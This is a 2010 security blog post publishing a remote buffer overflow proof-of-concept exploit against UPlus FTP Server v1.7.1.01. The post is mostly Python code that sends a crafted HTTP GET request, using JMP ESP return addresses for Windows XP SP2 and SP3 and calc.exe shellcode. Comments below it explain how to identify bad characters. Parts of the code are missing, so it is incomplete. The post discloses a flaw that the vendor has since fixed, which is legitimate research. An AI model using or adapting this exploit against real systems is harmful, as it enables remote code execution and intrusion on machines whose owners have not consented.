Thursday, July 29, 2010

UPlus FTP Server v1. remote buffer overflow exploit published

Hi All,

Posted another remote code execution exploit on Exploit-db an hour back. It is published now :-)

import socket,sys,base64
print """
    UPlusFTP Server v1.7.1.01 [ HTTP ] Remote BoF Exploit PoC
    Discovered by : Karn Ganeshen                         
    Author : Karn Ganeshen / corelanc0d3r
    KarnGaneshen [aT] gmail [d0t] com                    
    Greetz out to:  corelanc0d3r
# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]
# Date Found : July 21, 2010
# Vendor notified on July 23, 2010
# Issue fixed and new version released on July 23, 2010
if len(sys.argv) != 5:
    print "Usage: ./ <Target IP> <Port> <User> <Password>"
target = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]
pwd = sys.argv[4]
auth = base64.b64encode(user+":"+pwd)
# 165 bytes Calc.exe shellcode / badchars identified and excluded
#[ XP SP2 ] -> "\x78\x16\xF3\x77"    #0x77F31678  JMP ESP
#[ XP SP3 ] -> "\x3F\x71\x49\x7E"   #0x7E49713F  JMP ESP
buf+="\x66\x05\x7A\x03"         #ADD AX,037A
buf+="\x66\x05\x7A\x03"         #ADD AX,037A
buf+="\x66\x05\x7A\x03"         #ADD AX,037A
buf+="\x50\xc3"                 #PUSH EAX + RET
print "[+] Launching exploit against " + target + "..."
head = "GET /list.html?path="+buf+" HTTP/1.1 \r\n"
head += "Host: \r\n"
head += "Authorization: Basic "+auth+"\r\n"
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(head + "\r\n")
    print "[!] Payload sent..."
    print "[x] Error!"
I actually missed out specifying the bad chars which I excluded while generating the payload. So here they are:
\x0a \x20 \x25 \x26

I should be able to post a video showing how this exploit was prepared & tested. Watch out on this space!

Shoutz to corelanc0d3r! :)

You may also check it out here:

Update: Advisory published on Secunia ->

Best Regards.


  1. hi
    thanks for this exploit but I have some questions about bad char :)

    the bad Depends on what OS or the program
    and how I can found it

    best wishes

  2. Hi,

    Identifying bad chars is an important aspect when writing an exploit. There are certain chars which are always considered to be bad chars on any OS or app. For e.g. \x00 -> null byte which would stop the execution flow.

    Also, there are chars specific to app which may break our shellcode / exploit. These application specific bad chars need to be identified & excluded for each app.

    Peter has written a nice tutorial on this subject ->

    Please go through it and feel free to ask questions.

    Best Regards.



The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.